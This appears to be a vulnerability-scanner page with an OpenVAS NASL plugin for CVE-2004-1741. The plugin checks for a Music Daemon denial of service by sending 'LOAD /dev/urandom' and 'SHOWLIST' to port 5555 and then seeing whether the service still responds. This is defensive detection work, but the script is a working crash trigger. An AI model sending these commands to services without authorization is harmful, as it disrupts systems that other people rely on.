6.7 Medium
AI Score
Confidence
High
5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
0.041 Low
EPSS
Percentile
92.0%
It is possible to cause the Music Daemon to stop
responding to requests by causing it to load the /dev/random filename as its track list.
# SPDX-FileCopyrightText: 2004 Noam Rathaus
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.14353");
script_version("2023-07-21T05:05:22+0000");
script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_cve_id("CVE-2004-1741");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/11006");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_name("Music Daemon Denial of Service");
script_category(ACT_KILL_HOST);
script_copyright("Copyright (C) 2004 Noam Rathaus");
script_family("Remote file access");
script_dependencies("find_service2.nasl");
script_require_ports("Services/musicdaemon", 5555);
script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
release, disable respective features, remove the product or replace the product by another one.");
script_tag(name:"summary", value:"It is possible to cause the Music Daemon to stop
responding to requests by causing it to load the /dev/random filename as its track list.");
script_tag(name:"impact", value:"An attacker can cause the product to no longer respond to requests.");
script_tag(name:"solution_type", value:"WillNotFix");
script_tag(name:"qod_type", value:"remote_analysis");
exit(0);
}
include("misc_func.inc");
include("port_service_func.inc");
port = service_get_port(default:5555, proto:"musicdaemon");
soc = open_sock_tcp(port);
if(!soc)
exit(0);
recv = recv_line(socket:soc, length:1024);
if("Hello" >< recv) {
data = string("LOAD /dev/urandom\r\n");
send(socket:soc, data:data);
data = string("SHOWLIST\r\n");
send(socket:soc, data:data);
close(soc);
sleep(5);
soc = open_sock_tcp(port);
if(!soc) {
security_message(port:port);
exit(0);
}
recv = recv_line(socket:soc, length:1024, timeout:1);
if("Hello" >!< recv) {
security_message(port:port);
exit(0);
}
exit(99);
}
close(soc);
exit(0);